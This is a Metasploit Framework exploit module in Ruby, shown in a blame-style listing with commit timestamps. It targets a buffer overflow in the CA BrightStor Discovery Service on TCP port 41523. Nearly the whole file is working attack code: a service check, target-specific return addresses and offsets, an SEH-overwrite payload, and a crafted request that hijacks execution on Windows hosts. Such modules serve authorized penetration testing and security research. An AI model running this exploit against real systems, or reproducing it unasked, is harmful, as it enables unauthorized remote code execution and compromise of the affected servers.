2007-02-18 00:10:39 +00:00
|
|
|
##
|
2007-02-19 15:28:47 +00:00
|
|
|
# $Id$
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# Framework web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/projects/Framework/
|
|
|
|
##
|
|
|
|
|
|
|
|
|
2005-11-26 22:12:54 +00:00
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2005-11-26 22:12:54 +00:00
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
include Msf::Exploit::Remote::Tcp
|
|
|
|
include Msf::Exploit::Seh
|
2005-11-26 22:12:54 +00:00
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'CA BrightStor Discovery Service TCP Overflow',
|
|
|
|
'Description' => %q{
|
|
|
|
This module exploits a vulnerability in the CA BrightStor
|
|
|
|
Discovery Service. This vulnerability occurs when a specific
|
|
|
|
type of request is sent to the TCP listener on port 41523.
|
|
|
|
This vulnerability was discovered by cybertronic[at]gmx.net
|
|
|
|
and affects all known versions of the BrightStor product.
|
|
|
|
This module is based on the 'cabrightstor_disco' exploit by
|
|
|
|
Thor Doomen.
|
|
|
|
},
|
2008-04-09 13:04:15 +00:00
|
|
|
'Author' => [ 'hdm', 'patrick' ],
|
2006-01-21 22:10:20 +00:00
|
|
|
'License' => MSF_LICENSE,
|
2005-11-26 22:12:54 +00:00
|
|
|
'Version' => '$Revision$',
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'OSVDB', '13814'],
|
|
|
|
[ 'BID', '12536'],
|
|
|
|
[ 'URL', 'http://archives.neohapsis.com/archives/bugtraq/2005-02/0123.html'],
|
2008-04-09 13:04:15 +00:00
|
|
|
[ 'URL', 'http://milw0rm.com/exploits/1131'],
|
|
|
|
[ 'CVE', '2005-2535'],
|
2005-11-26 22:12:54 +00:00
|
|
|
],
|
|
|
|
'Privileged' => true,
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 2048,
|
|
|
|
'BadChars' => "\x00",
|
|
|
|
'StackAdjustment' => -3500,
|
|
|
|
},
|
|
|
|
'Targets' =>
|
|
|
|
[
|
2008-11-13 08:31:04 +00:00
|
|
|
[
|
|
|
|
'cheyprod.dll 9/14/2000', # Build 1220.0 9/14/2000 7.0.1220.0
|
|
|
|
{
|
|
|
|
'Platform' => 'win',
|
|
|
|
'Ret' => 0x23803b20, # pop/pop/ret
|
|
|
|
'Offset' => 1032,
|
|
|
|
},
|
|
|
|
],
|
2005-11-26 22:12:54 +00:00
|
|
|
[
|
|
|
|
'cheyprod.dll 12/12/2003',
|
|
|
|
{
|
|
|
|
'Platform' => 'win',
|
|
|
|
'Ret' => 0x23805714, # pop/pop/ret
|
2008-11-13 08:31:04 +00:00
|
|
|
'Offset' => 1024,
|
2005-11-26 22:12:54 +00:00
|
|
|
},
|
|
|
|
],
|
2008-04-09 13:04:15 +00:00
|
|
|
[
|
|
|
|
'cheyprod.dll 07/21/2004',
|
|
|
|
{
|
|
|
|
'Platform' => 'win',
|
|
|
|
'Ret' => 0x23805d10, # pop/pop/ret
|
2008-11-13 08:31:04 +00:00
|
|
|
'Offset' => 1024,
|
2008-04-09 13:04:15 +00:00
|
|
|
},
|
|
|
|
],
|
2005-11-26 22:12:54 +00:00
|
|
|
],
|
|
|
|
'DisclosureDate' => 'Feb 14 2005',
|
2008-11-13 08:31:04 +00:00
|
|
|
'DefaultTarget' => 1))
|
2005-11-26 22:12:54 +00:00
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
Opt::RPORT(41523)
|
2005-12-25 22:47:38 +00:00
|
|
|
], self.class)
|
2005-11-26 22:12:54 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def check
|
2008-04-09 13:04:15 +00:00
|
|
|
|
2005-11-26 22:12:54 +00:00
|
|
|
# The first request should have no reply
|
|
|
|
csock = Rex::Socket::Tcp.create(
|
|
|
|
'PeerHost' => datastore['RHOST'],
|
|
|
|
'PeerPort' => datastore['RPORT'],
|
|
|
|
'Context' =>
|
|
|
|
{
|
|
|
|
'Msf' => framework,
|
|
|
|
'MsfExploit' => self,
|
|
|
|
})
|
|
|
|
|
|
|
|
csock.put('META')
|
|
|
|
x = csock.get_once(-1, 3)
|
|
|
|
csock.close
|
|
|
|
|
|
|
|
# The second request should be replied with the host name
|
|
|
|
csock = Rex::Socket::Tcp.create(
|
|
|
|
'PeerHost' => datastore['RHOST'],
|
|
|
|
'PeerPort' => datastore['RPORT'],
|
|
|
|
'Context' =>
|
|
|
|
{
|
|
|
|
'Msf' => framework,
|
|
|
|
'MsfExploit' => self,
|
|
|
|
})
|
|
|
|
|
|
|
|
csock.put('hMETA')
|
|
|
|
y = csock.get_once(-1, 3)
|
|
|
|
csock.close
|
|
|
|
|
|
|
|
if (y and not x)
|
|
|
|
return Exploit::CheckCode::Detected
|
|
|
|
end
|
|
|
|
return Exploit::CheckCode::Safe
|
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
|
|
|
connect
|
|
|
|
|
2005-11-27 01:51:50 +00:00
|
|
|
print_status("Trying target #{target.name}...")
|
|
|
|
|
2007-03-01 08:21:36 +00:00
|
|
|
buf = rand_text_english(4096)
|
2005-11-26 22:12:54 +00:00
|
|
|
|
|
|
|
# Overwriting the return address works well, but the only register
|
|
|
|
# pointing back to our code is 'esp'. The following stub overwrites
|
|
|
|
# the SEH frame instead, making things a bit easier.
|
|
|
|
|
|
|
|
seh = generate_seh_payload(target.ret)
|
2008-11-13 08:31:04 +00:00
|
|
|
buf[target['Offset'], seh.length] = seh
|
|
|
|
|
2005-11-26 22:12:54 +00:00
|
|
|
# Make sure the return address is invalid to trigger SEH
|
|
|
|
buf[ 900, 100] = (rand(127)+128).chr * 100
|
|
|
|
|
|
|
|
# SERVICEPC is the client host name actually =P (thanks Juliano!)
|
|
|
|
req = "\x9b" + 'SERVICEPC' + "\x18" + [0x01020304].pack('N') + 'SERVICEPC' + "\x01\x0c\x6c\x93\xce\x18\x18\x41"
|
|
|
|
req << buf
|
|
|
|
|
|
|
|
sock.put(req)
|
|
|
|
sock.get_once
|
2008-11-13 08:31:04 +00:00
|
|
|
|
2005-11-26 22:12:54 +00:00
|
|
|
handler
|
|
|
|
disconnect
|
|
|
|
end
|
|
|
|
|
2008-10-19 21:03:39 +00:00
|
|
|
end
|